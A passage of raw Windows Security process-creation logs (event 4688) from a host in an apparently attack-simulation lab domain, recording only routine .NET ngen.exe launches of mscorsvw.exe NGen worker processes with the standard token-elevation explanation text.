Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254929
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 54c -Pipe 55c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254940
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 574 -Pipe 4e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254939
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 58c -InterruptEvent 0 -NGENProcess 57c -Pipe 4cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254938
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 570 -Pipe 588 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254944
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 4dc -Pipe 49c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254943
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 514 -Pipe 4c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254942
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 51c -InterruptEvent 0 -NGENProcess 57c -Pipe 4ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254941
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 594 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 42c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254946
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254945
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4d8 -InterruptEvent 0 -NGENProcess 514 -Pipe 504 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254950
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 464 -Pipe 594 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254949
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 578 -Pipe 4d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254948
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 478 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254947
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 598 -Pipe 508 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 598 -Pipe 568 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254957
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4f8 -InterruptEvent 0 -NGENProcess 4bc -Pipe 578 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254956
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc7c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 568 -InterruptEvent 0 -NGENProcess 598 -Pipe 3fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254955
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 3fc -Pipe 548 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
